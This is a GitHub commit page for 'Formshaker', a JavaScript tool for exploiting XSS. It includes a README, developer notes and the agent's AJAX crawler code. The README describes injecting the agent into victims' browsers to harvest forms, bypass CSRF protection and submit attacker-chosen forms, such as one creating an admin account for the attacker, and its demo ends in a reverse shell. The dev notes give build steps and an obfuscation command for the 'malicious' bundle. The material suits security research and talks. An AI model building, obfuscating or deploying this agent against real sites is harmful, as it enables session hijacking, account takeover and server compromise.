Skip to content

Commit

Permalink
Initial structure
Browse files Browse the repository at this point in the history
  • Loading branch information
jmgarciadev committed Oct 9, 2023
1 parent c2435a4 commit bc6873f
Show file tree
Hide file tree
Showing 321 changed files with 53,387 additions and 0 deletions.
5 changes: 5 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
data/var_*
malicious.ajax.min.js
malicious.iframe.min.js
agent/agent.js
lDemo.png
41 changes: 41 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@

![DVWA](https://github.com/michyweb/formshaker/blob/main/agent/images/logo1.jpg?raw=true)

# Formshaker

**Formshaker is a tool created to enhance the capabilities of an attacker while exploiting XSS vulnerabilities.**

Formshaker is a JS lib that runs in browsers and acts as a proxy, establishing a bridge between websites functionality and attackers. Its purpose is to maximize the attacker capabilities when exploiting XSS. Formshaker is a project that we initiated in 2018. It consists of a web application and a JS agent. The JS agent operates in two modes: C&C dependent and standalone. From a technical standpoint, the tool’s purpose is to crawl a website, collect its HTML forms, and provide an attacker with visibility into the forms available on the website where the JS agent is active. This allows the attacker, through the C&C, to view, modify, and submit the forms via the JS agent within the context of the victim’s session. On the other hand, the standalone version of the tool is self-contained. It includes all the necessary information within the JS code to populate form inputs and make decisions to automatically submit forms with preconfigured data. It’s important to note that this mode operates independently and does not interact with the C&C. An intriguing scenario occurs when you, as an attacker, inject the JS agent into the victim’s browser, particularly if that person possesses admin privileges. In such a case, the JS agent would identify the user creation form, fill its inputs with predetermined values (such as the attacker’s email and password), and proceed to create a user.



**Formshaker does not work with SPA (Single-page based websites) as those made with React.js and Vue.js**


## Demo:

Here's an example of Formshaker in action:
![DVWA](https://github.com/michyweb/formshaker/blob/main/agent/images/demo-dvwa.gif?raw=true)

On the left is the vulnerable web, in this case DVWA and on the right the Formshaker control panel. These are the steps that were followed in the demo:
* Run a listener on the TCP 5001.
* I inject the JS Formshaker library into a section vulnerable to Reflected XSS.
* Formshaker invisibly starts spidering the entire website looking for forms and sending them to the control panel.
* From the control panel I select the form vulnerable to command injection and set the payload for the reverse shell, finally I inject that form.
* The JS Formshaker library gets the updated form and submited it.
* The listener receives the connection from the reverse shell.

In summary, the demo shows how through an XSS injection it is possible to control the website forms, in addition, an RCE is exploited in the web portal by injecting a form that, when submited, it executes a reverse shell. As you can see, this is achieved by updating the inputs of a form from the Formshaker control panel and subsequently submitting it.

## Presented in:
- Hacktivity - 05 Oct 2023: https://hacktivity.com/events/formshaker/

## Special thanks to:
- Pablo Alvarez Fernando for the logo and images
- Leonardo Dutra for the original code of the crawler
- Creativetimofficial for the dashboard template (https://github.com/creativetimofficial/argon-dashboard)

## Disclaimer:

All information and software available on this site are for educational purposes only. Use these at your own discretion, the site owners cannot be held responsible for any damages caused. The views expressed on this site are our own and do not necessarily reflect those of our employers.
Usage of all tools on this site for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. We assume no liability and are not responsible for any misuse or damage caused by this site.
80 changes: 80 additions & 0 deletions agent/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
# Dev Notes

## Description:

The scope of Formshaker is determined by the context of the affected user and by the functionality of the web page where the injected library runs. Formshaker takes advantage of running in the user's context and the visibility of the functionalities offered by the target website. Since the JS library is running on the victim's browser, it can retrieve the anti-CSRF tokens to submit the forms and bypass those form protected against CSRF attacks. These features make Formshaker a very useful tool when exploiting XSS vulnerabilities.
It can be highlighted the two main tasks that Formshaker performs simultaneously:
* Webscraping, crawling, form harvesting and form submmition.
* A loop asking for new forms to be injected.

Currently for the crawling, form harvesting, and form injection process there are two modes available:
* Iframe mode.
* AJAX mode.

The discovery process with AJAX mode accomplishes with the same-origin policy (SOP) imposed by the browser. In both modes, the js agent runs on the same origin and operate under the security context of the affected user. Thus, Formshaker has the ability to make HTTP calls and access the HTTP responses of different parts on the same website.
On the other hand, the discovering process through Iframes is slower and heavier and yet it is useful where authentication is performed through basic authentication or in those cases where the forms rendering is dynamic.
Depending on the circunstances and characteristics of the target webpage, one mode could be more suitable than the other. We haven't looked into the feasibility of automating the process that determines which mode is more appropiate during the execution, however both modes works simultaneously by default.

## Process, step to step:

1. Create a session ID to identify the user and a execution ID to keep track of the executions.
1. Mutex test: Avoid running two formshaker instance.
2. Settings retrieval (loop): two possible alternatives; it reaches the remote endpoint, so it has internet connectivity, and therefore, it uses the remote settings. Alternatively, it times out, so it uses the hardcoded settings.
3. [to be done]: Any form discovered over the spidering process will be marked as juicy and automatically injected, then...*1. there is a switch to enable this behavior by default.
4. Fetch modified forms (loop): this is another repetitive task that keeps running in the background to retrieve the forms that has been marked to be injected from the formshaker dashboard.
* When the Formshaker API dispatches a form, this immediately passes the form to the injection form functionality which will set up a request and send it.
* *1 Each time a form is marked to be "injected", FormShaker will send two forms (requests). The emptied inputs' values and the default ones will remain in the first request. The second form will have all the parameters (input's values) filled with an alternative value. This is done by using an algorithm that sets the most suitable values according to the input's characteristics and the settings configured.
5. The spidering process is carried out using two alternative methods; the chosen method could be more suitable depending on the website characteristics.
* This process includes some validations to avoid visiting two similar URLs, it is a custom algorithm, and therefore, you should expect some inconsistencies.
* Any harvested forms are sent to the formshaker web app.
* The spidering process ends when the number of pages has reached the limit or there aren't anymore links to visit.

Finally, it is worth mentioning that you can debug the URLs and forms found at the end of the spidering execution. Run the library and once finished type this: debug1()

## Build:

The folder 'common' contains scripts used by both modes:
* form-utils.js
* spider-utils.js
* input-utils.js
* link-utils.js
* pivot-utils.js
* prefix-main.js
* sufix-main.js

The folder 'ajax-based' contains exclusive functionalities for this mode:
* link-utils.ajax.js
* main.ajax.js
* pivot-utils.ajax.js

The folder 'iframe-based' contains exclusive functionalities for this mode:
* core.iframe.js
* link-utils.iframe.js
* main.iframe.js
* pivot-utils.iframe.js

The folder 'unit-tests' includes unit tests on "each" component.

To build the JS library you have to run one of the two scripts, depending on the chosen mode:

```
./combinejs-iframe-based.sh
./combinejs-ajax-based.sh
```

Additionally, you can obfuscate the code by using https://github.com/javascript-obfuscator/javascript-obfuscator:
```
npx javascript-obfuscator malicious.ajax.min.js --output test.js
```


## Extra:

Speed tests outcome:
* 10 iframes / 40 link limit = Execution time: 15:04:10.885
* 6 iframes / 40 link limit = Execution time: 15:06:56.062

https://developers.google.com/web/tools/chrome-devtools/network/reference?utm_source=devtools#timing-explanation
**There are already six TCP connections open for this origin, which is the limit. Applies to HTTP/1.0 and HTTP/1.1 only.**

![Waterfall](https://github.com/gofillo/formshaker-jslib/blob/main/images/Waterfall.jpg?raw=true)
228 changes: 228 additions & 0 deletions agent/ajax-based/link-utils.ajax.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,228 @@

// ------------------------------------[+] link-utils.ajax.js [+]---------------------


var linkHolder = {}; // objeto usado como hash de links
var SCPReferenciado = [];
var visitedDomains = [];
var success = found = executionTime = 0;
var currentDomain = null;
var stopped = false;
var test = "";


function getLocationInfo(uri) {
var a = document.createElement('a');
a.href = uri;
return a;
}


function getUnvisitedURI() {
for (var i = 0, l = visitedDomains.length, visitedDomain; i < l; ++i) {
visitedDomain = visitedDomains[i];
for (var link in linkHolder) {

if (~link.indexOf(visitedDomain) && linkHolder[link].status === '_') {
return link;
}
}
}

if (currentDomain) {
for (var link in linkHolder) {

if (~link.indexOf(currentDomain) && linkHolder[link].status === '_') return link;
}
visitedDomains.push(currentDomain);
}

for (var link in linkHolder) {
if (linkHolder[link].status === '_') {

currentDomain = getLocationInfo(link).hostname;
return link;
}
}

return null;
}


function LinkInfo(origin) { this.origin = origin; };
LinkInfo.prototype = {
status: '_',
origin: ''
};


function pushLinks(links, origin) {
if (links) {
var i = links.length;
var link;
while (i--) {

if (linkHolder[links[i]]) continue;
if (origin === undefined)
linkHolder[links[i]] = new LinkInfo(links[i]);
else
linkHolder[links[i]] = new LinkInfo(origin);
++found;
}
}
}


function getExecutionTime() {
return new Date(Date.now() - executionTime).toISOString().match(/([^T]*)Z$/)[1];
}


function toLink(href) {
return '<a href="' + href + '" target="_blank">' + href + '</a>';
}


function getstatus() {

var visited = [];
var broken = [];
var unvisited = [];
var redirected = [];

for (var link in linkHolder) {
switch (linkHolder[link].status) {
case '_':
type = unvisited;
break;
case 'V':
type = visited;
break;
case 'X':
type = broken;
break;
case 'R':
type = redirected;
break;
}
type.push(linkHolder[link].status + ' ' + toLink(link) + '<span>&nbsp;' + toLink(linkHolder[link].origin) + '</span>');
}

console.log([
'Execution time: ' + getExecutionTime(),
found + ' found',
unvisited.length + ' unvisited',
visited.length + ' visited',
redirected.length + ' redirected',
broken.length + ' broken'
].join('\n'));

return {
broken: broken,
visited: visited,
unvisited: unvisited,
redirected: redirected
};
}


function showLinks() {

var encodedForms = JSON.stringify(forms).replace(/[\u00A0-\u9999<>\&]/g, function (i) {
return '&#' + i.charCodeAt(0) + ';';
});
var data = getstatus();
var br = '<br/>';
var logInfo = [

'Execution time: ' + getExecutionTime(),
found + ' found',
data.unvisited.length + ' unvisited',
data.visited.length + ' visited',
data.redirected.length + ' redirected',
data.broken.length + ' broken',
br,

'### BROKEN: ' + data.broken.length,
data.broken.sort().join(br),
br,

'### REDIRECTED: ' + data.redirected.length,
data.redirected.sort().join(br),
br,

'### REDUNDANT: ' + redundantURLs.length,
redundantURLs.sort().join(br),
br,

'### VISITED: ' + data.visited.length,
data.visited.sort().join(br),
br,

'### UNVISITED: ' + data.unvisited.length,
data.unvisited.sort().join(br),

br + br + '### FORMS: ' + forms.length,
br + encodedForms + br
];

var popup = open(null, '_blank');
if (popup) {
popup.document.write(
'<head><style>a {color: #555;text-decoration: none;} span a {color: #bbb;}</style></head>' +
'<body>' +
'<div style="white-space:nowrap;font-size: 12px; font-family: Consolas,\'Lucida Console\',\'DejaVu Sans Mono\',monospace;">' +
logInfo.join(br) +
'</pre></div></body>'
);
}
else {
//alert('Popup bloqueado.')
}
}


function visitLink(link) {
if (link) {
xhr = new XMLHttpRequest();
xhr.timeout = 4000;
xhr.open('GET', link);
xhr.setRequestHeader("XX-Origin", "Formshaker-crawling");
xhr.ontimeout = function () {
console.log('Failed from timeout ' + link);
linkHolder[link].status = 'X';
run()
};
// before xhr.onreadystatechange
xhr.onload = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var contentType = xhr.getResponseHeader("Content-Type");
if (contentType && contentType.indexOf("text/html") >= 0) {
var status = xhr.status;
if (status === 0 || (status >= 200 && status < 400)) {
if (link == xhr.responseURL) {
// The request has been completed successfully
data = xhr.responseText;
++success;
linkHolder[link].status = 'V';
if (typeof data === 'string') getForms(data, link); pushLinks(getLinks(data, link), link);
} else {
linkHolder[link].status = 'R';
}
run();
} else {
linkHolder[link].status = 'X';
run()
}

}
}
}

xhr.send();

}
else console.log('FINISHED (no more links to crawl)');

}
//------------------------------------------------------------------------------------------------------
Loading

0 comments on commit bc6873f

Please sign in to comment.